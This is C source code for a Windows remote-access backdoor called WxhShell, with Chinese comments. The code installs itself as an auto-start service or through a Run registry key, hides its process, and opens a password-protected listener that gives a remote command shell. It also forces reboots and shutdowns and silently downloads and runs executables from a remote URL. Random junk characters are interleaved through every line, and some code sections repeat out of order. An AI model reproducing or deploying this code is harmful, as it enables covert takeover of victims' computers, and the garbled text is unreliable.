HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;1PJS_@rX if(NULL == hInst ) return 0; j)Ak:l%a 4bp})>}jB g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !H)- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rm9>gKN;# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q^sZP\i,*; 4oH ,_sr if (!NtQueryInformationProcess) return 0; "OK[uug ypG*41 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1AN$s
if(!hProcess) return 0; ppNMXbXR s2NBYDi$? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c?EvrtND KK3iui CloseHandle(hProcess); GM'yOJo Y I;iG[T,& hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Hnk&2bY if(hProcess==NULL) return 0; aA52Li P_NF;v5v HMODULE hMod; T}=^D= char procName[255]; d)bsyZ;U unsigned long cbNeeded; A9 g%> k_,&
Q?GtU if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fz,jnV9=j 5\XD/Q M CloseHandle(hProcess); >(ip-R ^d{5GK' if(strstr(procName,"services")) return 1; // 以服务启动 Q8AAu&te7 +x}9a~QG# return 0; // 注册表启动 P
"IR3= } V`#2jDz h*C!b?:" // 主模块 )MK$E,W int StartWxhshell(LPSTR lpCmdLine) Ze8.+Ee { 7+hF1eoI SOCKET wsl; viUJ4Pn BOOL val=TRUE; 1w(3!Ps+ int port=0; j|wN7@Zc struct sockaddr_in door; 85H\v_[ 9QLG:(~; if(wscfg.ws_autoins) Install(); d[p2?] <>9!oOa port=atoi(lpCmdLine); 1u7D:h># `MuX/[q if(port<=0) port=wscfg.ws_port; 65qqs|&w;[ CN:T$ f|) WSADATA data; ;J TY#)Bh if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >~rlnRX [V:~j1{3 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; QwWd"Of setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kt)Et door.sin_family = AF_INET; +sjzT[ Dn door.sin_addr.s_addr = inet_addr("127.0.0.1"); "QNQ00[T`> door.sin_port = htons(port); w/ rQOHV{ r>peKo[X( if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'WE"$1 closesocket(wsl); bA#9'Qu^j
return 1; 2<I=xWwFA } f%@~|:G: yT_W\"=8 if(listen(wsl,2) == INVALID_SOCKET) { `}#rcDK closesocket(wsl); =FhP$r* return 1; \8QOZjy } ./k7""4 Wxhshell(wsl); wCNn/%C WSACleanup(); I
]ZZN6" r5S/lp+Y+N return 0; ;Go^)bN
; 4BCe;Q^6 } ^g vTc+| X\P%C // 以NT服务方式启动 -i2rcH VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rx2']. { )/>BgXwH DWORD status = 0; .6C/,rQ?c DWORD specificError = 0xfffffff; d7vPZ_j^z 4-x<^
ev= serviceStatus.dwServiceType = SERVICE_WIN32; h>\C2Q serviceStatus.dwCurrentState = SERVICE_START_PENDING; U _5` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %5gdLm!p serviceStatus.dwWin32ExitCode = 0; MmjZq serviceStatus.dwServiceSpecificExitCode = 0; lxL.ztL serviceStatus.dwCheckPoint = 0; #Z2'Y[@. serviceStatus.dwWaitHint = 0; ?QT6q]|d0+ )&j`5sSXcr hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =eQB-Xe8Y if (hServiceStatusHandle==0) return; N:| :L:<1 H575W"53 status = GetLastError(); _Pqq* if (status!=NO_ERROR) R#4l" { 1$vG Q serviceStatus.dwCurrentState = SERVICE_STOPPED; @}d;-m~ serviceStatus.dwCheckPoint = 0; 6(`N!]e*L serviceStatus.dwWaitHint = 0; M.mn9kw` serviceStatus.dwWin32ExitCode = status; nTr%S&<+" serviceStatus.dwServiceSpecificExitCode = specificError; W34xrm SetServiceStatus(hServiceStatusHandle, &serviceStatus); vw2E$ya return; .<`)`:n+B } 5;0w({1l B-C$>H^ serviceStatus.dwCurrentState = SERVICE_RUNNING; (^}t serviceStatus.dwCheckPoint = 0; ?lsK?>uU serviceStatus.dwWaitHint = 0; !\7`I}: if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xyGwYv>*KO } J#Hh4Kc H **tMq // 处理NT服务事件,比如:启动、停止 uH9Vj<E$K VOID WINAPI NTServiceHandler(DWORD fdwControl) O0qG
6a { /Pg)7Zn switch(fdwControl) r/!,((Z\ { R}0gIp= case SERVICE_CONTROL_STOP:
`;6M|5G serviceStatus.dwWin32ExitCode = 0; ?CQE6ch serviceStatus.dwCurrentState = SERVICE_STOPPED; H<_Tn$<zH. serviceStatus.dwCheckPoint = 0; 3s!6rT_=)d serviceStatus.dwWaitHint = 0; ^~[7])}g6 { bu _ @>`S SetServiceStatus(hServiceStatusHandle, &serviceStatus); E#,"C`&* } >6o <Q return; 1z6aMd6. case SERVICE_CONTROL_PAUSE: Z\IM~- serviceStatus.dwCurrentState = SERVICE_PAUSED; .pUB.l$) break; lw9jk`7^ case SERVICE_CONTROL_CONTINUE: @ar%`+_ serviceStatus.dwCurrentState = SERVICE_RUNNING; OOSf<I*> break; 7y|U!r"Y case SERVICE_CONTROL_INTERROGATE: M#'7hm6 break; (WT\HR }; ~][~aEat;V SetServiceStatus(hServiceStatusHandle, &serviceStatus); AhF@ } <J;O$S gt}Atr6>_ // 标准应用程序主函数 %[p*6&V int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `}),wBq { }) -V,\ 1YV1Xnn, // 获取操作系统版本 Zmyq6.1q~ OsIsNt=GetOsVer(); kS-BB[T GetModuleFileName(NULL,ExeFile,MAX_PATH); uBbQJvL 4P3RRS // 从命令行安装 Pw<?Dw]m if(strpbrk(lpCmdLine,"iI")) Install(); h.vy SwF"j uy<3B>3~. // 下载执行文件 vMp=\U-~^ if(wscfg.ws_downexe) { ;-u]@35 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %1A8m-u]M WinExec(wscfg.ws_filenam,SW_HIDE); 89&9VX^A } ,/+Mp 0vqH-)} if(!OsIsNt) { y$R8J:5f // 如果时win9x,隐藏进程并且设置为注册表启动 $vXY"-k HideProc(); |D)CAQn, StartWxhshell(lpCmdLine); ]vQa~} } FFw(`[A_ else +yO) 3 if(StartFromService()) 7T)y"PZ // 以服务方式启动 kC.dJ2^j+ StartServiceCtrlDispatcher(DispatchTable); 8UjIC4' else CB#2XS>V // 普通方式启动 ]"T157F StartWxhshell(lpCmdLine); H2jypVs$2 A5Jadz~ return 0; %0-oZL } kc2B_+Y1 t08U9`w ExO#V9DaW QfEJU8/5d =========================================== U%@PY9# "> Qxb.Y} mx}5":} h~#F2#. $=plAi 5>9Q<* " g&g:HH: RDbNC v# #include <stdio.h> Wmd@%K #include <string.h> _|C3\x1c #include <windows.h> h/\v+xiF #include <winsock2.h> _K9PA[m5~ #include <winsvc.h> 3J"`mQ #include <urlmon.h> uY~mi9E /9ORVV #pragma comment (lib, "Ws2_32.lib") n8EKTuy #pragma comment (lib, "urlmon.lib") Ja3#W
K lD$s, hp #define MAX_USER 100 // 最大客户端连接数 \>:t={>; #define BUF_SOCK 200 // sock buffer YeOn #define KEY_BUFF 255 // 输入 buffer [1(eSH ti+e U$ #define REBOOT 0 // 重启 }`
3- #define SHUTDOWN 1 // 关机 \5}PF+)| jj&G[-"bv #define DEF_PORT 5000 // 监听端口 z!6_u@^- -"xAeI1+ #define REG_LEN 16 // 注册表键长度 LkJq Bg #define SVC_LEN 80 // NT服务名长度 85#
3|5n \/1~5mQ+ // 从dll定义API 2tK~]0x typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H,KH}25 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rmw}Ui" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2Di~}* 9& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bsu?Q'q
]B(}^N>WH // wxhshell配置信息 3|$?T|#B struct WSCFG { RgoF4g+@ int ws_port; // 监听端口 i%133in char ws_passstr[REG_LEN]; // 口令 L?u{v X int ws_autoins; // 安装标记, 1=yes 0=no "-S!^h/v char ws_regname[REG_LEN]; // 注册表键名 h:Gs9]Lvtv char ws_svcname[REG_LEN]; // 服务名 +iN!$zF5] char ws_svcdisp[SVC_LEN]; // 服务显示名 x}a?B char ws_svcdesc[SVC_LEN]; // 服务描述信息 )b nGZ8h99 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \Nik`v*Pd int ws_downexe; // 下载执行标记, 1=yes 0=no qsp3G7\'= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vhOh3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LF.i0^#J 4mY^pQ1=L }; EO+Ix7w 3\ajnd| // default Wxhshell configuration %rs2{Q2k struct WSCFG wscfg={DEF_PORT, Y_*KAr'{P "xuhuanlingzhe", @GAj%MK$ 1, iOa<= "Wxhshell", T|\sN*}\8J "Wxhshell", |u`YT;`!"- "WxhShell Service", Jy:@&c "Wrsky Windows CmdShell Service", n2*Ua/J-8 "Please Input Your Password: ", ,Z|O y|+' 1, '(r?($s "http://www.wrsky.com/wxhshell.exe", fQ~~%#z1 "Wxhshell.exe" 5%( }; w#9.U7@. TCzz]?G]la // 消息定义模块 IJ.H/l}h char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; kN 2mPD/ char *msg_ws_prompt="\n\r? for help\n\r#>"; <*iFVjSI( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hlyh8=Z6o char *msg_ws_ext="\n\rExit."; a. u{b&+9 char *msg_ws_end="\n\rQuit."; ~jKIuO/ char *msg_ws_boot="\n\rReboot..."; \Yp"D7:Qi char *msg_ws_poff="\n\rShutdown..."; t#M[w|5? char *msg_ws_down="\n\rSave to "; Usht\<{ o$bQ-_B` char *msg_ws_err="\n\rErr!"; Y]R=z*i% char *msg_ws_ok="\n\rOK!"; 7]u_ ZD50-w; char ExeFile[MAX_PATH]; :Dr4?6hdr int nUser = 0; ,^4"e
( HANDLE handles[MAX_USER]; b?=r%D->w int OsIsNt; :fX61S6) ce4rhtkV SERVICE_STATUS serviceStatus; :OU(fz] SERVICE_STATUS_HANDLE hServiceStatusHandle; ~+ae68{p m?Jnb\0 // 函数声明 M&zB&Ia"' int Install(void); SN[yC int Uninstall(void); hQ%X0X, int DownloadFile(char *sURL, SOCKET wsh); oVuIHb0w int Boot(int flag); ([JFX@ void HideProc(void); :1'1n int GetOsVer(void); ,EH-Sf2Cb int Wxhshell(SOCKET wsl); l+(B~v void TalkWithClient(void *cs); MAqETjB int CmdShell(SOCKET sock); mMZ=9 ?m int StartFromService(void); x6T$HN/2 int StartWxhshell(LPSTR lpCmdLine); iw(`7(* U2_; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~Gg19x.#uW VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3Qv9=q|[b 9[E/^
// 数据结构和表定义 2DZ&g\| SERVICE_TABLE_ENTRY DispatchTable[] = Zjc/GO { /$8& r {wscfg.ws_svcname, NTServiceMain}, qsN}KgTjg {NULL, NULL} $43CNnf3N }; >&Ye(3w& |%Y =]@f // 自我安装 10dK%/6/O int Install(void) B
4e}% { /KiaLS char svExeFile[MAX_PATH]; +ZwTi!W HKEY key; EA:_PBZ strcpy(svExeFile,ExeFile); s0Y7`uD^ !vr
A\d // 如果是win9x系统,修改注册表设为自启动 ,({%t if(!OsIsNt) { IOrYm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iee`Yg!EOH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0,LUi*10 RegCloseKey(key); 8r.MODZG/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F
j"]C.6B. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $iy(+} RegCloseKey(key); F>u/Lh! return 0; '~6l
6wi } SZgan } ^3&-!<* } tN)Vpb\J else { '#r^W2 a- /p/
I-% // 如果是NT以上系统,安装为系统服务 n 8| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /X\:3P if (schSCManager!=0) e+MsFXnB8 { .fzns20u SC_HANDLE schService = CreateService +zFEx%3^ ( toox`| schSCManager, Im`R2_(] wscfg.ws_svcname, ~r]$(V n
wscfg.ws_svcdisp, %+$!ctn SERVICE_ALL_ACCESS, (n{!~'3 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /P{'nI SERVICE_AUTO_START, 0pe*DbYP5 SERVICE_ERROR_NORMAL, mc6W" svExeFile, s[*I210 NULL, 3V/|" R2s NULL, aOW~! f/M NULL, \?k"AtL NULL, tUFXx\p NULL (5^SL Y ); <,'^dR7, if (schService!=0) j62oA$z { `MMZR=LA CloseServiceHandle(schService); <daBP[ CloseServiceHandle(schSCManager); sr.!EQ ] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Eid~4a strcat(svExeFile,wscfg.ws_svcname); B{_-k if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A%#."2vq~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h3-dJgb RegCloseKey(key); s[/)v: return 0; Su`]
ku' } Fc"+L+h@W } O6!:Qd CloseServiceHandle(schSCManager); m3b?f B } 1b"3]? } }l@7t&T| 3n TpL# return 1; =hKu85 } g>Kh? ( 5NYYrA8,^ // 自我卸载 cA
B^]j int Uninstall(void) .$-%rU:*} { q}7(w$& HKEY key; fL R.2vJ ez *O'U if(!OsIsNt) { cU=/X{&Om if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (@u" RegDeleteValue(key,wscfg.ws_regname); v%2Jm!i+ RegCloseKey(key); a`QKNrA2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m[*y9A1 RegDeleteValue(key,wscfg.ws_regname); UXV>#U? RegCloseKey(key); fxX4 !r return 0; /SYzo4( } [;i3o?\_I } ,G(bwE9~ } u*H
V else { e/u(Re c:G0=5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'ZQR@~G if (schSCManager!=0) QW"BGg~6c { X6c ['Zrc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uv/?/;si if (schService!=0) 9ioV R { ?t];GNU`l if(DeleteService(schService)!=0) { +QVe - CloseServiceHandle(schService); fxk6 q$' CloseServiceHandle(schSCManager); J"RmV@| return 0; \rf2Os } C")NNs= CloseServiceHandle(schService); yE),GJ-m\< } Q" an6ht| CloseServiceHandle(schSCManager); qw%wyj7 } 5oIgxy }
HvVS<Ke @8GW?R return 1; z}m)u } xu0pY(n^r O_wRI\! // 从指定url下载文件 j*)K>
\ int DownloadFile(char *sURL, SOCKET wsh) zd3%9r j$ { {VrjDj+Xy HRESULT hr; <swYo<?J# char seps[]= "/"; E; Z1HF
R char *token; ? v2JuhRe char *file; !NFP=m1 char myURL[MAX_PATH]; 6*H F`@( char myFILE[MAX_PATH]; `JL&x|q o |F#L{=B strcpy(myURL,sURL); ;X3bgA'] token=strtok(myURL,seps); G_a//[p while(token!=NULL) m`lsUN, { Enj],I file=token; )Dq/fW token=strtok(NULL,seps); :.M"M$MRp8 } @z)_m!yV1 ${%*O}$ GetCurrentDirectory(MAX_PATH,myFILE); ?rn#S8nNx< strcat(myFILE, "\\"); y7CrH=^jc strcat(myFILE, file); }PDNW send(wsh,myFILE,strlen(myFILE),0); & ]/Z~V t send(wsh,"...",3,0); C|A:^6d3= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _~E&?zR2>" if(hr==S_OK) w oS I
2i return 0; PH}^RR{H[ else _mw(~r8R return 1; %,M(-G5j; WSW,}tFp" } \!4sd2Yi %v(\;&@ // 系统电源模块 (7g1eEK% int Boot(int flag) "~lGSWcU { p$cSES>r: HANDLE hToken; &t\KKsUtd TOKEN_PRIVILEGES tkp; Ll L8Q l1qWl if(OsIsNt) { a_0G4@=T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Wg+fT{[f| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G_]
(7 tkp.PrivilegeCount = 1; j.@TPf* tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; woqP&8a AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wz P")}[0 if(flag==REBOOT) { "sf]I[a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `)W}4itm
return 0; #Mz N7 } w<]Wg^dyQ else { 8HyK;+ZkVd if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ei8OLcw:x return 0; @9pk-BB^D } wb
}W;C@ } x-_!I>l& else { An e.sS if(flag==REBOOT) { 2Xm\; 7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Uv06f+P( return 0; @edi6b1W } :h&*<!O2B` else { {]}}rx'|P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :hp=>^$Y return 0; /L1qdkG } WBA0!
g98 } F:CqB| In)#`E` g. return 1; &OiJJl[9 } zA![c l>$ EnrRnVB // win9x进程隐藏模块 RJ%~=D void HideProc(void) 5UwaBPj4 { q
lL6wzq, TY,w3E_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,!f*OWnZ if ( hKernel != NULL ) vTD`Ja#h { yS#LT3>l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pv`^#BX' ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a"{tq Nc FreeLibrary(hKernel); ?hS n) } ) tGC&l+?/ o(.
PxcD return; JeJc(e } ?.:C+*+ bQ=R, // 获取操作系统版本 1_7}B4 int GetOsVer(void) ]OoqU-q { Aov=qLWJ OSVERSIONINFO winfo; u8*Uia*vwH winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t`DoTb4 GetVersionEx(&winfo); '(kySf[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6M"]p return 1; 6|05-x| else i%M2(8&^Q return 0; ~PUz/^^
s } w $7*za2 `n7z+ // 客户端句柄模块 b0i]T?# int Wxhshell(SOCKET wsl)
Y>+\:O
{ Frt_X % SOCKET wsh; a`CsL Bv& struct sockaddr_in client; tWi@_Rlx; DWORD myID; k[N46=u 8KD7t&H while(nUser<MAX_USER) +gTnq")wnI { Pb.-Z@ int nSize=sizeof(client); A8OV3h6] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S*:b\{[f> if(wsh==INVALID_SOCKET) return 1; ;""V s6 ;h3uMUCml handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nVoPTr if(handles[nUser]==0) Jjz:-Uqq2 closesocket(wsh); +E QRNbA else )L`0VTw'M nUser++; 16 o3ER } z@cL<.0CE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2-u>=r0L `,&h!h(( return 0; <UG}P \N } `I<*R0Qe !E> *Mn // 关闭 socket ;y?,myO void CloseIt(SOCKET wsh) \{n]&IjA { i
4eb\j closesocket(wsh); 1P4jdp=~ nUser--; >(u =/pp=: ExitThread(0); A%u-6" } S
1|[}nYP j ij:}.d6 // 客户端请求句柄 =_8 void TalkWithClient(void *cs) KLs%{'[7: { "-vm=d~\ }}Eko7'^ SOCKET wsh=(SOCKET)cs; J(S.iTD char pwd[SVC_LEN]; O GrVy=rd char cmd[KEY_BUFF]; [,-MC7>] char chr[1]; gmWRw{nS+ int i,j; )2z
(l-$. 'uBW1, while (nUser < MAX_USER) { L!DP*XDp ?DkMzR)u if(wscfg.ws_passstr) { eQno]$-\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \no[>L] //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'rU
[V+ //ZeroMemory(pwd,KEY_BUFF); [X=-x=S, i=0; b3x!tuQn while(i<SVC_LEN) { 8OZc:/ U=p,drF,A // 设置超时 A5+vz u^ fd_set FdRead; PV>-"2n struct timeval TimeOut; OR4!73[I FD_ZERO(&FdRead); zO2Z\E'%. FD_SET(wsh,&FdRead); v?)JM+ TimeOut.tv_sec=8; bQb>S<PT TimeOut.tv_usec=0; N/Z3 EF_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A--Hg-N| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YQiTx)_ VLc=!W} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mTW0_!. pwd=chr[0]; ?I`']|I if(chr[0]==0xd || chr[0]==0xa) { kh 17 pwd=0; y:D|U!o2V break; R|ViLt y } Z=
dEk` i++; ^x4I } !Z,h5u\.w b-@VR // 如果是非法用户,关闭 socket "kz``6C if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E:(flW= } ^:\|6`{n 0eQyzn*98 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rcPP-+XW send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W{At3Bfy [(w_!|S while(1) { ^/2n[orl5 &n6mXFF#>P ZeroMemory(cmd,KEY_BUFF); V(A6>0s$|
7<oLe3fbM // 自动支持客户端 telnet标准 E:f0NV3"1 j=0;
Jt.dR6, while(j<KEY_BUFF) { q*\#HC if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uv}[MXOP cmd[j]=chr[0]; ,+KZn}> if(chr[0]==0xa || chr[0]==0xd) { 7Nw7a;h cmd[j]=0; ;-lk#D?n9 break; +L!-JrYHS4 } \('8_tqI" j++; Y>{K2#k }
RN'|./N
|%g^6RN // 下载文件 A/,7%bB1 if(strstr(cmd,"http://")) { #q%xJ[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); c</d1x T if(DownloadFile(cmd,wsh)) OnC|9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ZelB,7q else _0 USe send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ajr]&H4 } `)&-;CMY else { }L{en ync2X{9D switch(cmd[0]) { zJOjc/\
[7ZFxr\:! // 帮助 9;k_"@A6 case '?': { l!<Nw8+U send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rgw\qOb break; H*!j\|v0 } =4"D8UaHr // 安装 Bl2y~fCA case 'i': { F"#bCnS if(Install()) fKf5i@CvB@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); G \?fWqx else ((\s4- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 81fpeoNO break; G%
} En&ESWN // 卸载 =LL5E}xP case 'r': { B t-o:)pa if(Uninstall()) AKC';J send(wsh,msg_ws_err,strlen(msg_ws_err),0); r;t0+aLc* else .vj`[?T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E9;cd$}K break; p[VBeO^% } 6n]fr9f // 显示 wxhshell 所在路径 9; H R case 'p': { 4*g`!~) char svExeFile[MAX_PATH]; H2l/9+ strcpy(svExeFile,"\n\r"); ~z$vF strcat(svExeFile,ExeFile); z/)HJo2# send(wsh,svExeFile,strlen(svExeFile),0); (GJ)FWen0" break;
fD } Lo\+T+n // 重启 ^rMkCA@;TZ case 'b': { a?.hvI send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J4#t1P@Na if(Boot(REBOOT)) k]!Fh^O~, send(wsh,msg_ws_err,strlen(msg_ws_err),0); r9sW:cM:e else { )d!,,o closesocket(wsh); 6e(|t2^ ExitThread(0); w?d~c*4+ } QM=M<~<Voh break; dq28Y$9~ } {1;j1|CI // 关机 .i>; ?(GH case 'd': { dkt'~ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o;.PZi2k if(Boot(SHUTDOWN)) d>*?C!xE send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3,+)3,N else { E%t_17,=j closesocket(wsh); Mdsn"Y V ExitThread(0); MU4/arXy } (|I:d!>:U break; "ys#%,Z } Xi^3o // 获取shell {5QIQ case 's': { IqJ7'X CmdShell(wsh); uIvy1h9m closesocket(wsh); NJ^`vWi ExitThread(0); z 0]K:YV_ break; 6e3s
| } JziuwL5, // 退出 Lg0Vn&k case 'x': { o@mZ 6!ax3 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K9B_o, CloseIt(wsh); ?2zVWZ break; l5F>v!NA
} D]S@U>]M! // 离开
h%0/j case 'q': { 3JV ENn9 send(wsh,msg_ws_end,strlen(msg_ws_end),0); T&c0j( closesocket(wsh); O}I8P")m WSACleanup(); =T;>$&qs exit(1); D0Yl?LU3 break; 5@ecZ2`)+h } mD{<Lp= }
DvCs 5 } #5-5N5-1 u@tJu'X // 提示信息 YjN2 ,Xi if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wYQTG*&h } mr
dG-t(k } +b"RZ:tKp r|wB&
PGW return; Q?-HU,RBO } +ntrp='7O7 P9=L?t. // shell模块句柄 PXqLK3AE int CmdShell(SOCKET sock) knrR%e; { d0ThhO STARTUPINFO si; 7cV9xIe^ ZeroMemory(&si,sizeof(si)); xdb9oH si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wNMg Y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AuuZWd PROCESS_INFORMATION ProcessInfo; <7N8L char cmdline[]="cmd"; qR^KvAEQSo CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DFKFsu8s return 0; 4A6D>ChB'E } Pj9n`LwM 8.FBgZh* // 自身启动模式 )nmLgsg int StartFromService(void) $zS0]@Dj { 86igP typedef struct ~CiVLSH= { ~L $B]\/A5 DWORD ExitStatus; _i{$5JJ+K2 DWORD PebBaseAddress; y`O !,kW DWORD AffinityMask; m99j]wr~c DWORD BasePriority; P=PcO> ULONG UniqueProcessId; wQbN5*82 ULONG InheritedFromUniqueProcessId; 4lhoA } PROCESS_BASIC_INFORMATION; >Pne@w!* Se h[".l PROCNTQSIP NtQueryInformationProcess; B7r={P!0 [~03Z[_"/ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KdY3
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4+%;eY.A 8}9|hT;
HANDLE hProcess; #-$\f(+< PROCESS_BASIC_INFORMATION pbi; d\Cx(Lb[ 3Z=OUhn9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [SGt ~bRJ if(NULL == hInst ) return 0; Ylbh_ d~BU 1cPm $=B g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jY>|>]4X g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?&$??r^i NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V?AHj< 7|4hs:4mD if (!NtQueryInformationProcess) return 0; VeK^hz
